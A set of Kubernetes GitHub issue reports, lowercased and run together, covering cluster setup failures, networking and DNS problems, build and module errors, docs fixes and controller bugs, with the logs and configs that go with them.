20:42:30.908131   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://107.105.136.28:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:30 server1 kubelet 14619 : e0307 20:42:30.909155   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://107.105.136.28:6443/api/v1/nodes?fieldselector=metadata.name%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:30 server1 kubelet 14619 : e0307 20:42:30.910228   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://107.105.136.28:6443/api/v1/pods?fieldselector=spec.nodename%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:31 server1 kubelet 14619 : e0307 20:42:31.908495   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://107.105.136.28:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:31 server1 kubelet 14619 : e0307 20:42:31.909392   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://107.105.136.28:6443/api/v1/nodes?fieldselector=metadata.name%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:31 server1 kubelet 14619 : e0307 20:42:31.910461   14619 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://107.105.136.28:6443/api/v1/pods?fieldselector=spec.nodename%3dserver1&limit=500&resourceversion=0: dial tcp 107.105.136.28:6443: getsockopt: connection refused\r mar 07 20:42:32 server1 kubelet 14619 : e0307 20:42:32.018611   14619 event.go:209  unable to write event: 'patch https://107.105.136.28:6443/api/v1/namespaces/default/events/server1.1519a1c427a76a94: dial tcp 107.105.136.28:6443: getsockopt: connection refused'  may retry after sleeping \r \r   what you expected to happen  :\r kubernetes should be able to initialize successfully since this is the initial setup using kubeadm\r \r   how to reproduce it  as minimally and precisely as possible   :\r apt-get install -y apt-transport-https\r sudo curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add\r sudo echo \ deb http://apt.kubernetes.io/ kubernetes-xenial main\  | sudo tee \r /etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial main\r apt-get update\r \r apt-get install -y kubelet kubeadm kubectl kubernetes-cni\r \r swapoff -a\r kubeadm init\r \r   anything else we need to know?  :\r this was the initial error after kubeadm init. it got stuck for a while at \    init  this might take a minute or longer if the control plane images have to be pulled.  \ \r \r unfortunately, an error has occurred:\r         timed out waiting for the condition\r \r this error is likely caused by:\r         - the kubelet is not running\r         - the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r         - there is no internet connection, so the kubelet cannot pull the following control plane images:\r                 - gcr.io/google_containers/kube-apiserver-amd64:v1.9.3\r                 - gcr.io/google_containers/kube-controller-manager-amd64:v1.9.3\r                 - gcr.io/google_containers/kube-scheduler-amd64:v1.9.3\r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r         - 'systemctl status kubelet'\r         - 'journalctl -xeu kubelet'\r couldn't initialize a kubernetes cluster\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r local server  ubuntu 16.04.3 \r \r - kernel  e.g.  uname -a  :\r linux server1 4.13.0-36-generic  40~16.04.1-ubuntu smp fri feb 16 23:25:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r in https://github.com/kubernetes/kubernetes/pull/50224, we removed the support for esipp beta annotations in k8s v1.8:\r -  service.beta.kubernetes.io/external-traffic \r -  service.beta.kubernetes.io/healthcheck-nodeport \r \r but turned out that is problematic, because the ga api field was only available since k8s v1.7  added by https://github.com/kubernetes/kubernetes/pull/41162 . with a combination of master on 1.8 and nodes on 1.6, neither the api fields nor the beta annotations is usable. the worse thing is, setting only the beta annotation to  onlylocal  with such combination might cause partial of the lb traffic get blackholed, because the master will configure lb to send traffic to all nodes, while the nodes that don't have backends on it will drop the packet.\r \r we should re-add support for these annotation for 1.8.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a cluster with master on 1.8 and nodes on a lower version and observer esipp beta annotations not working.\r \r   anything else we need to know?  :\r cc @bowei \r /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r bug report\r \r  \r \r   what happened  :\r \r i setup a kubernetes mini-cluster  1 master - 1 node  using vagrant. cni is flannel. everything is set and both master and node are ready. no problem whatsoever with kube-system pods.\r \r however, when i try a simple deploy: \r    \r kubectl run centos --image=centos:7 --command -- sleep infinity\r     \r and try to exec into it. dns cannot be looked up:\r    \r $ ping google.com\r ping: google.com: name or service not known\r $ ping kubernetes\r ping: kubernetes: name or service not known\r    \r \r nothing works. if i try to deploy on production  real live servers , it works normally.\r    \r  root@centos-6f6d998c5c-c94f9 /   ping google.com\r ping google.com  216.58.197.110  56 84  bytes of data.\r 64 bytes from hkg12s01-in-f14.1e100.net  216.58.197.110 : icmp_seq=1 ttl=50 time=38.9 ms\r 64 bytes from hkg12s01-in-f14.1e100.net  216.58.197.110 : icmp_seq=2 ttl=50 time=38.8 ms\r ^c\r --- google.com ping statistics ---\r 2 packets transmitted, 2 received, 0% packet loss, time 1001ms\r    \r \r   what you expected to happen  :\r \r  ping  should be ok.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.  vagrant up  centos 7 boxes\r 1. install  iptables ,  docker ,  docker-compose ,  kubeadm ,  kubelet ,  kubectl \r 1. whitelist iptables on master  node is the same cause it is only a subnet of this :\r    \r -a input -p tcp --dport 5353 -j accept\r -a input -p tcp --dport 6443 -j accept\r -a input -p tcp --dport 6782 -j accept\r -a input -p tcp --dport 6783 -j accept\r -a input -p tcp --dport 6784 -j accept\r -a input -p tcp --dport 2379:2380 -j accept\r -a input -p tcp --dport 10250 -j accept\r -a input -p tcp --dport 10251 -j accept\r -a input -p tcp --dport 10252 -j accept\r -a input -p udp --dport 8285 -j accept\r -a input -p udp --dport 8472 -j accept\r    \r 1. sysctl:\r    \r net.bridge.bridge-nf-call-ip6tables=1\r net.bridge.bridge-nf-call-iptables=1\r net.bridge.bridge-nf-call-arptables=1\r net.ipv4.ip_forward=1\r    \r 1. swap off:  swapoff -a \r 1. disable selinux:  setenforce 0 \r 1. initialize local etcd with  docker-compose :\r    \r version: '3'\r \r services:\r   etcd:\r     image: gcr.io/etcd-development/etcd\r     network_mode: host\r     entrypoint: /usr/local/bin/etcd\r     command:\r       - --config-file=/etcd.conf.yml\r     volumes:\r       - ./data:/etcd-data\r       - ./etcd.conf.yml:/etcd.conf.yml\r    \r 1. initialize master with the following config file:\r    \r apiversion: kubeadm.k8s.io/v1alpha2\r kind: masterconfiguration\r kubernetesversion: v1.11.0\r api:\r  advertiseaddress: 192.168.101.91\r noderegistration:\r  name: k8s-master\r etcd:\r  external:\r    endpoints:\r      - http://localhost:2379\r networking:\r  podsubnet: 10.244.0.0/16\r    \r 1. apply flannel network from  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ \r 1. join node\r \r   anything else we need to know?  :\r \r all nodes are ready.\r all  kube-system  is running. no restarts, crashloopbackoff, or error.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :  linux k8s-master 3.10.0-862.2.3.el7.x86_64  1 smp wed may 9 18:05:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  kubeadm \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

we have a lot of services set up by nodeport and available from external via  <node_ip>:<node_port>   .\r \r it should be a common requirement that i would like to control the access to certain services, which means the requests from some of ips may access to it, while others not.\r \r we'd like to use  iptables  to meet this requirement, which gets a lot of   confusion   since kubernetes use it to setup communication as well. \r do we have any high-level  guidance  to design/create iptable rule to control k8s service?\r \r specifically, i am confused in below area\r 1.  which table should i append rules into ?  i find that lots of rules in  nat and filter  are created by k8s\r 2.  if i what to disable the access of service from one external ip to certain node, such as \r  telnet <node_ip>:<node_port> \r should i reject on  forward  or  input , or  prerouting   directly ?\r 3. does these rule depend on specific network plugins  eg flannel or weave  ? whether different plugins have different way to config rule or not?\r \r for my senarios, i have below rules to be set up:\r \r 1. all nodes in cluster should have  full access  to each other\r 2. some core services  api  should only be   accept   by  certain  ips\r 3.  certain services in a port range can be   accept   by  all  ips\r 4.   reject   the access to  any other  services from all ips  outside of cluster \r \r k8s version: 1.9.5\r network plugin: weave\r \r best regards!\r \r <!-- do not edit below this line -->\r \r /triage support\r \r

http://kubernetes.io/docs/user-guide/node-selection/ says \ this node affinity rule says the pod can only be placed on a node with a label whose key is kubernetes.io/e2e-az-name and whose value is either e2e-az1 or e2e-az2. in addition, among nodes that meet that criteria, nodes with a label whose key is foo and whose value is bar should be preferred.\   but the example, which is at https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/node-selection/pod-with-node-affinity.yaml  this used to be at https://github.com/kubernetes/kubernetes/blob/master/docs/user-guide/node-selection/pod-with-node-affinity.yaml until we moved the docs, though temporarily there is still a copy in the old location  does not show the second part  \ in addition, among nodes that meet that criteria, nodes with a label whose key is foo and whose value is bar should be preferred.\    we should modify https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/node-selection/pod-with-node-affinity.yaml and https://github.com/kubernetes/kubernetes/blob/master/docs/user-guide/node-selection/pod-with-node-affinity.yaml so that they match the description. i think ti is good to show both \ hard\  and \ soft\  affinity in the example.  btw due to  23105 we need to modify both copies of the example.

kubectl exec is a very handy way to get into pods for debugging or for doing minor maintenance things.  if you have a lot of pods, it can be painful to run through them though. hpc systems usually use a tool called pdsh  http://linux.die.net/man/1/pdsh  or some other similar tool to run a command across multiple nodes. it would be awesome if kubectl exec could take a label selector or a type/name  deployment, rc, daemonset  and be able to run the specified command across all of them like pdsh does.  even better would be to use the output format pdsh uses, so it can be used with dshbak  http://linux.die.net/man/1/dshbak . which automatically combines identical outputs from multiple nodes and rolls up the node names so that it is easy to see if 2 out of 100 nodes have different output to the command you want to run.  for example, run command on all nodes and roll up the output:       amit@onyx amit $ pdsh -a ls -l /etc/ntp | dshbak -c ---------------- ws 00-16  ----------------  total 16  -rw-r--r--  1 root root   8 jun  4 11:53 drift  -rw-------  1 root root 266 jun  4 11:53 keys  -rw-r--r--  1 root root  13 jun  4 11:53 ntpservers  -rw-r--r--  1 root root  13 jun  4 11:53 step-tickers ---------------- ws 17-32  ----------------  total 16  -rw-r--r--  1 root root   8 may 27 13:31 drift  -rw-------  1 root root 266 may 27 13:31 keys  -rw-r--r--  1 root root  13 may 27 13:31 ntpservers  -rw-r--r--  1 root root  13 may 27 13:31 step-tickers  amit@onyx amit $

when we are running a non-k8s docker image, image gc does not understand that the image is in use, and repeatedly tries to delete the image every 5 minutes.  we should understand that the image is in use and not try to delete it.   edited for correctness          daemon.log:sep 20 12:54:55 ip-172-20-32-29 kubelet 725 : e0920 12:54:55.094797     725 kubelet.go:933  image garbage collection failed: error response from daemon: conflict: unable to delete 8078e9a95c44  cannot be forced  - image is being used by running container 1223d63c4e50        $ sudo docker images | grep 8078e9a95c44 kope/protokube                                      1.3                    8078e9a95c44        9 weeks ago         159.6 mb        $ sudo docker ps -a | grep 1223d63c4e50 1223d63c4e50        kope/protokube:1.3                                    \ /usr/bin/protokube -\    6 days ago          up 6 days                               backstabbing_panini

gluster volumes don't work on gci  issue? , which is an unintended regression in v1.4.  we _do_ have a  working e2e test for gluster  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/volumes.go l402  that should have picked up that regression, but it has been  i.m.o. incorrectly   disabled  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/volumes.go l349  as a  \ feature\   https://github.com/kubernetes/test-infra/blob/d6258a0d9b0f85d4a1cd01886ad485f116baeeb8/jenkins/job-configs/kubernetes-jenkins/kubernetes-e2e-gce.yaml l73  in all of our ci tests  as far as i can tell .  in general i think that all e2e tests that can be run reliably and automatically should be run regularly to detect these sorts of regressions.  @kubernetes/sig-testing @kubernetes/sig-storage @saad-ali @thockin @matchstick fyi

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  : empty secret\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  :v1.4.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube with virtualbox driver\r -   os    e.g. from /etc/os-release :  boot2docker 1.11.1  tcl 7.1 ; master : 901340f - fri jul  1 22:52:19 utc 2016 \r -   kernel    e.g.  uname -a  :  linux minikube 4.4.14-boot2docker  1 smp fri jul 1 21:46:36 utc 2016 x86_64 gnu/linux \r \r \r   what happened  :\r applying yaml with secret via kubectl with empty value for one of keys didn't create that key. it only happened if secret already existed. check how to reproduce.\r \r \r   what you expected to happen  :\r it should create that key with empty value.\r \r   how to reproduce it  :\r    \r $ kubectl create secret generic test --dry-run --from-literal=x= -o yaml | kubectl apply -f -\r secret \ test\  created\r $ kubectl describe secrets test\r name: test\r namespace: default\r labels: <none>\r annotations: kubectl.kubernetes.io/last-applied-configuration={\ kind\ :\ secret\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test\ ,\ creationtimestamp\ :null},\ data\ :{\ x\ :null}}\r \r type: opaque\r \r data\r ====\r x: 0 bytes \r $ kubectl create secret generic test --dry-run --from-literal=x= --from-literal=y= -o yaml | kubectl apply -f - \r secret \ test\  configured \r $ kubectl describe secrets test\r name: test \r namespace: default \r labels: <none> \r annotations: kubectl.kubernetes.io/last-applied-configuration={\ kind\ :\ secret\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test\ ,\ creationtimestamp\ :null},\ data\ :{\ x\ :null,\ y\ :null}} \r  \r type: opaque \r data \r ==== \r x: 0 bytes \r $ kubectl version \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r    \r note that y key appears in annotations but not in data. if secret is not empty it works.\r \r   anything else do we need to know  :\r empty values are sometimes useful substitutes for secrets in development. that is why i tested it on minikube.\r \r

hi. i'm using kubernetes 1.8.1 and trying to make cluster with calico 2.6.2.\r i configured everything same as doc says, but when i run  kubeadm join  on other machine, it keeps failing on running calico-node pod with  crashloopbackoff  status.\r the first container   install-cni   of pod seems running well, and second container   calico-node   fails with following messages:\r    \r $ kubectl logs calico-node-zt9hd calico-node -n kube-system\r skipping datastore connection test\r error: unable to access datastore to query node configuration\r terminating\r calico node failed to start\r    \r what am i doing wrong?\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r kubectl describe ing/_ingressname_ does not include annotations.\r \r   what you expected to happen  :\r \r annotations would be included in the same way they are with objects like services.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r \r > kubectl describe svc/game\r name:              game\r namespace:         default\r labels:            <none>\r annotations:       field.cattle.io/targetworkloadids= \ deployment:default:game\  \r                    workload.cattle.io/targetworkloadidnoop=true\r                    workload.cattle.io/workloadportbased=true\r selector:          workload.user.cattle.io/workloadselector=deployment-default-game\r type:              clusterip\r ip:                10.43.144.169\r port:              80tcp02  80/tcp\r targetport:        80/tcp\r endpoints:         10.42.2.6:80\r session affinity:  none\r events:            <none>\r > kubectl describe ing/game-ingress\r name:             game-ingress\r namespace:        default\r address:          159.65.170.106,159.65.173.90\r default backend:  default-http-backend:80  <none> \r rules:\r   host            path  backends\r   ----            ----  --------\r   vanbrackel.net\r                   /game   game:80  <none> \r annotations:\r events:\r   type    reason  age                from                      message\r   ----    ------  ----               ----                      -------\r   normal  create  20m                nginx-ingress-controller  ingress default/game-ingress\r   normal  create  20m                nginx-ingress-controller  ingress default/game-ingress\r   normal  update  10m  x4 over 20m   nginx-ingress-controller  ingress default/game-ingress\r   normal  update  10m  x4 over 20m   nginx-ingress-controller  ingress default/game-ingress\r >\r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r digital ocean\r \r - os  e.g. from /etc/os-release :\r \r    \r \r name=\ ubuntu\ \r version=\ 17.10  artful aardvark \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 17.10\ \r version_id=\ 17.10\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=artful\r ubuntu_codename=artful\r \r    \r - kernel  e.g.  uname -a  :\r \r    \r \r uname -a\r linux jvb-control1 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r    \r - install tools:\r - others:\r

published k8s.io go modules have mismatching between  darwin  and  linux  goos.   as far as i can tell  though i could be wrong , this is not a golang issue  .\r \r     version of go:\r host:  go version go1.11 darwin/amd64 \r container:  go version go1.11 linux/amd64 \r \r     does this issue reproduce with the latest release?\r yes\r \r     what operating system and processor architecture are you using   go env  ?\r host:\r    \r goarch=\ amd64\ \r gohostarch=\ amd64\ \r gohostos=\ darwin\ \r goos=\ darwin\ \r    \r \r container:\r    \r goarch=\ amd64\ \r gohostarch=\ amd64\ \r gohostos=\ linux\ \r goos=\ linux\ \r    \r \r     what did you do?\r on host  darwin :\r    bash\r $   create a blank project with client-go as a dependency\r \r $ mkdir /tmp/foo && cd /tmp/foo\r $ go mod init foo.com\r go: creating new go.mod: module foo.com\r $ go mod get k8s.io/client-go@kubernetes-1.11.3                                                                                                                                                                                        \r go: finding k8s.io/client-go kubernetes-1.11.3\r    \r \r edit  main.go  and replace it with:\r    go\r package main\r \r import  \r         \ fmt\ \r         \ k8s.io/client-go/kubernetes\ \r  \r \r func main   {\r         fmt.println \ kubernetes\  \r }\r    \r \r build this code in a clean container:\r    bash\r $ docker run -it --rm -v $ pwd :/foo golang:1.11-stretch bash -c 'cd /foo && go mod download'\r go: finding k8s.io/client-go v2.0.0-alpha.0.0.20180910083459-2cefa64ff137+incompatible\r go: verifying k8s.io/client-go@v2.0.0-alpha.0.0.20180910083459-2cefa64ff137+incompatible: checksum mismatch\r         downloaded: h1:otfd+1wyykblq980rtvpqcdp2xmmkwl9h+onvblgvr0=\r         go.sum:     h1:qlqhmqoeaw8l7ejfp28erp2tt8upf1zplrh4cqnatue=\r    \r \r     what did you expect to see?\r no checksum errors\r \r     what did you see instead?\r  checksum mismatch  error\r \r     additional info\r it's possible this is an issue in go itself but here looks more likely. i've narrowed this down to a mismatch in built module's version string. the darwin version of shorthash is 8 characters and the linux one is 7 characters. when i compared the two downloaded versions, this was the only difference:\r    diff\r root@79d169a9ec19:/tmp/client-go  git diff\r diff --git a/pkg/version/base.go b/pkg/version/base.go\r index 6ac679b..2071a37 100644\r --- a/pkg/version/base.go\r +++ b/pkg/version/base.go\r @@ -55,7 +55,7 @@ var  \r         // note: the $format strings are replaced during 'git archive' thanks to the\r         // companion .gitattributes file containing 'export-subst' in this same\r         // directory.  see also https://git-scm.com/docs/gitattributes\r -       gitversion   string = \ v0.0.0-master+2cefa64f\ \r +       gitversion   string = \ v0.0.0-master+2cefa64\ \r         gitcommit    string = \ 2cefa64ff137e128daeddbd1775cd775708a05bf\  // sha1 from git, output of $ git rev-parse head \r         gittreestate string = \ \             // state of git tree, either \ clean\  or \ dirty\ \r    \r \r the code that makes this happen is at https://github.com/kubernetes/client-go/blob/03bfb9bdcfe5482795b999f39ca3ed9ad42ce5bb/pkg/version/base.go l58\r    golang\r \t// note: the $format strings are replaced during 'git archive' thanks to the\r \t// companion .gitattributes file containing 'export-subst' in this same\r \t// directory.  see also https://git-scm.com/docs/gitattributes\r \tgitversion   string = \ v0.0.0-master+$format:%h$\ \r    \r \r my best guess it's that it is some code in this file that's not evaluating the same on these platforms: https://github.com/kubernetes/kubernetes/blob/master/hack/lib/version.sh\r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r  make bazel-test   or  bazel-build , etc  with bazel 0.24.0 gets:\r \r    \r error: ~/go/src/k8s.io/kubernetes/staging/src/k8s.io/apimachinery/pkg/util/sets/build:25:1: in _go_genrule \r rule //staging/src/k8s.io/apimachinery/pkg/util/sets:set-gen:                                                                               \r traceback  most recent call last :                                                                                                          \r         file \ ~/go/src/k8s.io/kubernetes/staging/src/k8s.io/apimachinery/pkg/util/sets/build\ , line 25     \r                 _go_genrule name = 'set-gen'                                                                                                \r         file \ ~/.cache/bazel/_bazel_katmitchell/241f79f93f5445dbf7e39dd39276342b/external/io_k8s_repo_infra\r /defs/go.bzl\ , line 82, in _go_genrule_impl                                                                                                 \r                 ctx.action inputs =  list all_srcs  + resol... , <5 more arguments>                                                         \r         file \ ~/.cache/bazel/_bazel_katmitchell/241f79f93f5445dbf7e39dd39276342b/external/io_k8s_repo_infra\r /defs/go.bzl\ , line 85, in ctx.action                                                                                                       \r                 ctx.configuration.default_shell_env + go.env                                                                                \r the  +  operator for dicts is deprecated and no longer supported. please use the  update  method instead. you can temporarily enable the  + \r  operator by passing the flag --incompatible_disallow_dict_plus=false                                                                       \r error: analysis of target '//staging/src/k8s.io/apimachinery/pkg/util/sets:set-gen' failed; build aborted: analysis of target '//staging/src\r /k8s.io/apimachinery/pkg/util/sets:set-gen' failed; build aborted     \r    \r \r this is on a clean checkout. i was extremely confused what happened until i realized that bazel had automatically updated  as happens on our workstations  and 0.24.0  has a breaking change  https://github.com/bazelbuild/bazel/issues/6461 .\r \r   what you expected to happen  :\r \r for the build to succeed, as it does with slightly older versions of bazel.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r update bazel to at least 0.24.0 and run a command like  make bazel-build .\r \r   workaround  :\r \r add  --incompatible_disallow_dict_plus=false  to your bazel commands  or in the makefile, add it to the  bazel-build   etc  targets . be sure to add it before the  -- <paths to build/test>  part. eg:\r \r    \r bazel-test:\r \tbazel test --incompatible_disallow_dict_plus=false --config=unit -- \\\r \t  //... \\\r \t  //hack:verify-all \\\r \t  -//vendor/...\r

what happened  :\r when i config kube-proxy with excludecidrs, kube-proxy still try to delete my ipvs rules.\r \r   what you expected to happen  :\r kube-proxy not delete excludecidrs virturl server.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r  root@izrj9fs8mk0inonl9l6j26z ~   cat kubeadm-config.yaml \r apiversion: kubeadm.k8s.io/v1beta1\r kind: clusterconfiguration\r kubernetesversion: v1.14.0\r controlplaneendpoint: \ apiserver.cluster.local:6443\    apiserver dns name\r apiserver:\r         certsans:\r         - 127.0.0.1\r         - apiserver.cluster.local\r         - 172.20.241.205\r         - 172.20.241.206\r         - 172.20.241.207\r         - 172.20.241.208\r         - 10.103.97.1            virturl ip\r ---\r apiversion: kubeproxy.config.k8s.io/v1alpha1\r kind: kubeproxyconfiguration\r mode: \ ipvs\ \r ipvs:\r         excludecidrs:  \ 10.103.97.1/32\  \r    \r kubeadm init --config=kubeadm-config.yaml --experimental-upload-certs\r \r then add a ipvs on node:\r    \r ipvsadm -ln\r tcp  10.103.97.1:6443 rr\r   -> 172.20.241.207:6443          masq    1      2          0\r    \r then join the node, you can see kube-proxy log:\r    \r graceful_termination.go:160  trying to delete rs: 10.103.97.1:6443/tcp/172.20.241.207:6443\r    \r if don't have an active connection, the ipvs will removed.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.14.0\r - os  e.g:  cat /etc/os-release  :\r centos7.4\r - kernel  e.g.  uname -a  :\r 3.10\r - install tools:\r kubeadm\r

in file: docs/admin/dns.md  reword to say that it is required not optional.  remove text about issues which are resolved at head.  mention new record types, if any.  consider whether user-guide is a better place for this content.

i was debugging an integration test flake, and encountered a deadlock that prevents stopping controllers that use a delta fifo.  this prevents cleanly closing a server that a controller is operating against in an integration test.  the root cause is there is no way to tell a  deltafifo  to stop waiting: https://github.com/kubernetes/kubernetes/blob/master/pkg/client/cache/delta_fifo.go l370  this is invoked by the controller framework  processloop  function, which never returns so the  wait.until  that took a  stopch  is irrelevant since the previous invocation blocks forever waiting for the  deltafifo .      goroutine 139  semacquire : sync.runtime_syncsemacquire 0xc8200e0e98      /usr/local/go/src/runtime/sema.go:241 +0x201 sync.  cond .wait 0xc8200e0e88      /usr/local/go/src/sync/cond.go:63 +0x9b k8s.io/kubernetes/pkg/client/cache.  deltafifo .pop 0xc8200e0e70, 0x0, 0x0      /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:370 +0xb2 k8s.io/kubernetes/pkg/controller/framework.  controller .processloop 0xc8204ca070      /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/framework/controller.go:127 +0x44 k8s.io/kubernetes/pkg/controller/framework.  controller . k8s.io/kubernetes/pkg/controller/framework.processloop -fm       /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/framework/controller.go:103 +0x20 k8s.io/kubernetes/pkg/util/wait.jitteruntil.func1 0xc820045e60      /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:66 +0x4b k8s.io/kubernetes/pkg/util/wait.jitteruntil 0xc820045e60, 0x3b9aca00, 0x0, 0xc82001fc20      /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:67 +0x68 k8s.io/kubernetes/pkg/util/wait.until 0xc820045e60, 0x3b9aca00, 0xc82001fc20      /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:47 +0x3e k8s.io/kubernetes/pkg/controller/framework.  controller .run 0xc8204ca070, 0xc82001fc20      /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/framework/controller.go:103 +0x1c2 k8s.io/kubernetes/pkg/controller/framework.  sharedindexinformer .run 0xc82001fc80, 0xc82001fc20      /home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/framework/shared_informer.go:151 +0x483 created by k8s.io/kubernetes/pkg/controller/replication.  replicationmanager .run     